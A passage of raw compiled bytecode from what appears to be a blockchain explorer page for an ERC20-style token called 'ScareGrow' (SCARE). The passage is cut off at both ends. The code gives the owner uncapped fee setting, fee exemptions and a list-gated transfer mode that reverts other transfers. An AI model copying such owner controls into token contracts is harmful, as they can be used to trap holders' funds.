fffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111d061143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390612fd6565b60405180910390fd5b806017819055505f601560166101000a81548160ff02191690831515021790555050565b61128861143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90612fd6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613105565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990613193565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151790613221565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115fa9190612b55565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906132af565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116da9061333d565b60405180910390fd5b5f8111611725576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171c906133cb565b60405180910390fd5b61172d610dd7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179b575061176b610dd7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b9b57601560169054906101000a900460ff161561183f5760105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613433565b60405180910390fd5b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156118c857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561192e57601382908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601654811115611973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196a9061349b565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a1f57601754816119d484610c20565b6119de91906134b9565b10611a1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a159061355c565b60405180910390fd5b5b5f611a2930610c20565b90505f60185482101590506016548210611a435760165491505b808015611a5d5750601560149054906101000a900460ff16155b8015611ab6575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611acc575060158054906101000a900460ff165b8015611b1f575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611b72575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b9857611b8082611fc4565b5f4790505f811115611b9657611b9547611ef0565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611c3b575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611cec575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ceb575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611cf9575f9050611e7c565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611da2575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dba57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e63575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e7b57600a54600c81905550600b54600d819055505b5b611e888484848461222f565b50505050565b5f838311158290611ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecc91906129a3565b60405180910390fd5b505f8385611ee3919061357a565b9050809150509392505050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f54573d5f803e3d5ffd5b5050565b5f600654821115611f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f959061361d565b60405180910390fd5b5f611fa761225c565b9050611fbc818461228590919063ffffffff16565b915050919050565b6001601560146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ffb57611ffa612c49565b5b6040519080825280602002602001820160405280156120295781602001602082028036833780820191505090505b50905030815f815181106120405761203f612ff4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612108919061364f565b8160018151811061211c5761211b612ff4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121823060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611444565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016121e495949392919061376a565b5f604051808303815f87803b1580156121fb575f80fd5b505af115801561220d573d5f803e3d5ffd5b50505050505f601560146101000a81548160ff02191690831515021790555050565b8061223d5761223c6122ce565b5b612248848484612307565b80612256576122556124c7565b5b50505050565b5f805f6122676124db565b9150915061227e818361228590919063ffffffff16565b9250505090565b5f6122c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612534565b905092915050565b5f600c541480156122e057505f600d54145b61230557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f8061231687612595565b9550955095509550955095506123728660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125f590919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124038560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461263e90919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061244d8161269b565b6124578483612752565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124b49190612b55565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f66038d7ea4c68000905061250a66038d7ea4c6800060065461228590919063ffffffff16565b8210156125275760065466038d7ea4c68000935093505050612530565b81819350935050505b9091565b5f808311829061257a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257191906129a3565b60405180910390fd5b505f838561258891906137ef565b9050809150509392505050565b5f805f805f805f805f6125ad8a600c54600d5461278c565b9250925092505f6125bc61225c565b90505f805f6125cd8e87878761281e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61263683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e8e565b905092915050565b5f80828461264c91906134b9565b905083811015612691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268890613869565b60405180910390fd5b8091505092915050565b5f6126a461225c565b90505f6126ba82846128a290919063ffffffff16565b905061270c8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461263e90919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612767826006546125f590919063ffffffff16565b6006819055506127828160075461263e90919063ffffffff16565b6007819055505050565b5f805f806127b660646127a8888a6128a290919063ffffffff16565b61228590919063ffffffff16565b90505f6127df60646127d1888b6128a290919063ffffffff16565b61228590919063ffffffff16565b90505f612807826127f9858c6125f590919063ffffffff16565b6125f590919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061283585896128a290919063ffffffff16565b90505f61284b86896128a290919063ffffffff16565b90505f61286187896128a290919063ffffffff16565b90505f6128898261287b85876125f590919063ffffffff16565b6125f590919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036128b2575f9050612913565b5f82846128bf9190613887565b90508284826128ce91906137ef565b1461290e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290590613938565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612950578082015181840152602081019050612935565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61297582612919565b61297f8185612923565b935061298f818560208601612933565b6129988161295b565b840191505092915050565b5f6020820190508181035f8301526129bb818461296b565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129fd826129d4565b9050919050565b612a0d816129f3565b8114612a17575f80fd5b50565b5f81359050612a2881612a04565b92915050565b5f819050919050565b612a4081612a2e565b8114612a4a575f80fd5b50565b5f81359050612a5b81612a37565b92915050565b5f8060408385031215612a7757612a766129cc565b5b5f612a8485828601612a1a565b9250506020612a9585828601612a4d565b9150509250929050565b5f8115159050919050565b612ab381612a9f565b82525050565b5f602082019050612acc5f830184612aaa565b92915050565b5f819050919050565b5f612af5612af0612aeb846129d4565b612ad2565b6129d4565b9050919050565b5f612b0682612adb565b9050919050565b5f612b1782612afc565b9050919050565b612b2781612b0d565b82525050565b5f602082019050612b405f830184612b1e565b92915050565b612b4f81612a2e565b82525050565b5f602082019050612b685f830184612b46565b92915050565b5f805f60608486031215612b8557612b846129cc565b5b5f612b9286828701612a1a565b9350506020612ba386828701612a1a565b9250506040612bb486828701612a4d565b9150509250925092565b5f60208284031215612bd357612bd26129cc565b5b5f612be084828501612a4d565b91505092915050565b612bf2816129f3565b82525050565b5f602082019050612c0b5f830184612be9565b92915050565b5f60ff82169050919050565b612c2681612c11565b82525050565b5f602082019050612c3f5f830184612c1d565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612c7f8261295b565b810181811067ffffffffffffffff82111715612c9e57612c9d612c49565b5b80604052505050565b5f612cb06129c3565b9050612cbc8282612c76565b919050565b5f67ffffffffffffffff821115612cdb57612cda612c49565b5b602082029050602081019050919050565b5f80fd5b5f612d02612cfd84612cc1565b612ca7565b90508083825260208201905060208402830185811115612d2557612d24612cec565b5b835b81811015612d4e5780612d3a8882612a1a565b845260208401935050602081019050612d27565b5050509392505050565b5f82601f830112612d6c57612d6b612c45565b5b8135612d7c848260208601612cf0565b91505092915050565b5f805f805f60a08688031215612d9e57612d9d6129cc565b5b5f612dab88828901612a4d565b9550506020612dbc88828901612a4d565b9450506040612dcd88828901612a4d565b9350506060612dde88828901612a4d565b925050608086013567ffffffffffffffff811115612dff57612dfe6129d0565b5b612e0b88828901612d58565b9150509295509295909350565b612e2181612a9f565b8114612e2b575f80fd5b50565b5f81359050612e3c81612e18565b92915050565b5f60208284031215612e5757612e566129cc565b5b5f612e6484828501612e2e565b91505092915050565b5f60208284031215612e8257612e816129cc565b5b5f612e8f84828501612a1a565b91505092915050565b5f80fd5b5f8083601f840112612eb157612eb0612c45565b5b8235905067ffffffffffffffff811115612ece57612ecd612e98565b5b602083019150836020820283011115612eea57612ee9612cec565b5b9250929050565b5f805f60408486031215612f0857612f076129cc565b5b5f84013567ffffffffffffffff811115612f2557612f246129d0565b5b612f3186828701612e9c565b93509350506020612f4486828701612e2e565b9150509250925092565b5f8060408385031215612f6457612f636129cc565b5b5f612f7185828601612a1a565b9250506020612f8285828601612a1a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612fc0602083612923565b9150612fcb82612f8c565b602082019050919050565b5f6020820190508181035f830152612fed81612fb4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61305882612a2e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361308a57613089613021565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6130ef602683612923565b91506130fa82613095565b604082019050919050565b5f6020820190508181035f83015261311c816130e3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61317d602483612923565b915061318882613123565b604082019050919050565b5f6020820190508181035f8301526131aa81613171565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61320b602283612923565b9150613216826131b1565b604082019050919050565b5f6020820190508181035f830152613238816131ff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613299602583612923565b91506132a48261323f565b604082019050919050565b5f6020820190508181035f8301526132c68161328d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613327602383612923565b9150613332826132cd565b604082019050919050565b5f6020820190508181035f8301526133548161331b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6133b5602983612923565b91506133c08261335b565b604082019050919050565b5f6020820190508181035f8301526133e2816133a9565b9050919050565b7f6e6f0000000000000000000000000000000000000000000000000000000000005f82015250565b5f61341d600283612923565b9150613428826133e9565b602082019050919050565b5f6020820190508181035f83015261344a81613411565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613485601c83612923565b915061349082613451565b602082019050919050565b5f6020820190508181035f8301526134b281613479565b9050919050565b5f6134c382612a2e565b91506134ce83612a2e565b92508282019050808211156134e6576134e5613021565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613546602383612923565b9150613551826134ec565b604082019050919050565b5f6020820190508181035f8301526135738161353a565b9050919050565b5f61358482612a2e565b915061358f83612a2e565b92508282039050818111156135a7576135a6613021565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613607602a83612923565b9150613612826135ad565b604082019050919050565b5f6020820190508181035f830152613634816135fb565b9050919050565b5f8151905061364981612a04565b92915050565b5f60208284031215613664576136636129cc565b5b5f6136718482850161363b565b91505092915050565b5f819050919050565b5f61369d6136986136938461367a565b612ad2565b612a2e565b9050919050565b6136ad81613683565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6136e5816129f3565b82525050565b5f6136f683836136dc565b60208301905092915050565b5f602082019050919050565b5f613718826136b3565b61372281856136bd565b935061372d836136cd565b805f5b8381101561375d57815161374488826136eb565b975061374f83613702565b925050600181019050613730565b5085935050505092915050565b5f60a08201905061377d5f830188612b46565b61378a60208301876136a4565b818103604083015261379c818661370e565b90506137ab6060830185612be9565b6137b86080830184612b46565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6137f982612a2e565b915061380483612a2e565b925082613814576138136137c2565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613853601b83612923565b915061385e8261381f565b602082019050919050565b5f6020820190508181035f83015261388081613847565b9050919050565b5f61389182612a2e565b915061389c83612a2e565b92508282026138aa81612a2e565b915082820484148315176138c1576138c0613021565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613922602183612923565b915061392d826138c8565b604082019050919050565b5f6020820190508181035f83015261394f81613916565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034ac42b18871587d03cdf6231a2728e3a3fa8f6261d69fc0e3d734d41a66a78664736f6c63430008150033
Deployed Bytecode
0x6080604052600436106101ba575f3560e01c8063715018a6116100eb578063a26c23ac11610089578063c492f04611610063578063c492f046146105c9578063dd62ed3e146105f1578063ed70ed311461062d578063f2fde38b14610655576101c1565b8063a26c23ac1461054f578063a9059cbb14610577578063c3c8cd80146105b3576101c1565b80638da5cb5b116100c55780638da5cb5b146104a95780638f9a55c0146104d357806395d89b41146104fd57806398a5c31514610527576101c1565b8063715018a61461042d5780637d1db4a5146104435780637f2feddc1461046d576101c1565b80632fd689e3116101585780636cf38f06116101325780636cf38f061461038b5780636d8aa8f8146103b35780636fc3eaec146103db57806370a08231146103f1576101c1565b80632fd689e31461030d578063313ce5671461033757806349bd5a5e14610361576101c1565b806318160ddd1161019457806318160ddd146102555780631d97b7cd1461027f57806323b872dd14610295578063294423b6146102d1576101c1565b806306fdde03146101c5578063095ea7b3146101ef5780631694505e1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d961067d565b6040516101e691906129a3565b60405180910390f35b3480156101fa575f80fd5b5061021560048036038101906102109190612a61565b6106ba565b6040516102229190612ab9565b60405180910390f35b348015610236575f80fd5b5061023f6106d7565b60405161024c9190612b2d565b60405180910390f35b348015610260575f80fd5b506102696106fc565b6040516102769190612b55565b60405180910390f35b34801561028a575f80fd5b5061029361070a565b005b3480156102a0575f80fd5b506102bb60048036038101906102b69190612b6e565b6107d6565b6040516102c89190612ab9565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f29190612bbe565b6108aa565b6040516103049190612bf8565b60405180910390f35b348015610318575f80fd5b506103216108e5565b60405161032e9190612b55565b60405180910390f35b348015610342575f80fd5b5061034b6108eb565b6040516103589190612c2c565b60405180910390f35b34801561036c575f80fd5b506103756108f3565b6040516103829190612bf8565b60405180910390f35b348015610396575f80fd5b506103b160048036038101906103ac9190612d85565b610918565b005b3480156103be575f80fd5b506103d960048036038101906103d49190612e42565b610b01565b005b3480156103e6575f80fd5b506103ef610bb1565b005b3480156103fc575f80fd5b5061041760048036038101906104129190612e6d565b610c20565b6040516104249190612b55565b60405180910390f35b348015610438575f80fd5b50610441610c6e565b005b34801561044e575f80fd5b50610457610dbc565b6040516104649190612b55565b60405180910390f35b348015610478575f80fd5b50610493600480360381019061048e9190612e6d565b610dc2565b6040516104a09190612b55565b60405180910390f35b3480156104b4575f80fd5b506104bd610dd7565b6040516104ca9190612bf8565b60405180910390f35b3480156104de575f80fd5b506104e7610dfe565b6040516104f49190612b55565b60405180910390f35b348015610508575f80fd5b50610511610e04565b60405161051e91906129a3565b60405180910390f35b348015610532575f80fd5b5061054d60048036038101906105489190612bbe565b610e41565b005b34801561055a575f80fd5b5061057560048036038101906105709190612bbe565b610edf565b005b348015610582575f80fd5b5061059d60048036038101906105989190612a61565b610f7d565b6040516105aa9190612ab9565b60405180910390f35b3480156105be575f80fd5b506105c7610f9a565b005b3480156105d4575f80fd5b506105ef60048036038101906105ea9190612ef1565b611011565b005b3480156105fc575f80fd5b5061061760048036038101906106129190612f4e565b611146565b6040516106249190612b55565b60405180910390f35b348015610638575f80fd5b50610653600480360381019061064e9190612bbe565b6111c8565b005b348015610660575f80fd5b5061067b60048036038101906106769190612e6d565b611280565b005b60606040518060400160405280600981526020017f536361726547726f770000000000000000000000000000000000000000000000815250905090565b5f6106cd6106c661143d565b8484611444565b6001905092915050565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f66038d7ea4c68000905090565b61071261143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590612fd6565b60405180910390fd5b66038d7ea4c6800060178190555066038d7ea4c680006016819055505f601560166101000a81548160ff021916908315150217905550565b5f6107e2848484611607565b61089f846107ee61143d565b61089a856040518060600160405280602881526020016139576028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61085161143d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e8e9092919063ffffffff16565b611444565b600190509392505050565b601381815481106108b9575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b5f6009905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61092061143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390612fd6565b60405180910390fd5b601560169054906101000a900460ff1615610a50575f5b8151811015610a4e57600160105f8484815181106109e4576109e3612ff4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610a469061304e565b9150506109c3565b505b5f5b8151811015610add57600160055f848481518110610a7357610a72612ff4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610ad59061304e565b915050610a52565b508460088190555083600a819055508260098190555081600b819055505050505050565b610b0961143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90612fd6565b60405180910390fd5b806015806101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf161143d565b73ffffffffffffffffffffffffffffffffffffffff1614610c10575f80fd5b5f479050610c1d81611ef0565b50565b5f610c6760025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f58565b9050919050565b610c7661143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990612fd6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f5343415245000000000000000000000000000000000000000000000000000000815250905090565b610e4961143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecc90612fd6565b60405180910390fd5b8060188190555050565b610ee761143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a90612fd6565b60405180910390fd5b8060168190555050565b5f610f90610f8961143d565b8484611607565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fda61143d565b73ffffffffffffffffffffffffffffffffffffffff1614610ff9575f80fd5b5f61100330610c20565b905061100e81611fc4565b50565b61101961143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c90612fd6565b60405180910390fd5b5f5b83839050811015611140578160055f8686858181106110c9576110c8612ff4565b5b90506020020160208101906110de9190612e6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806111389061304e565b9150506110a7565b50505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6111d061143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125390612fd6565b60405180910390fd5b806017819055505f601560166101000a81548160ff02191690831515021790555050565b61128861143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90612fd6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990613105565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990613193565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151790613221565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115fa9190612b55565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906132af565b60405180910390fd5b5f73fffffffffffffffffff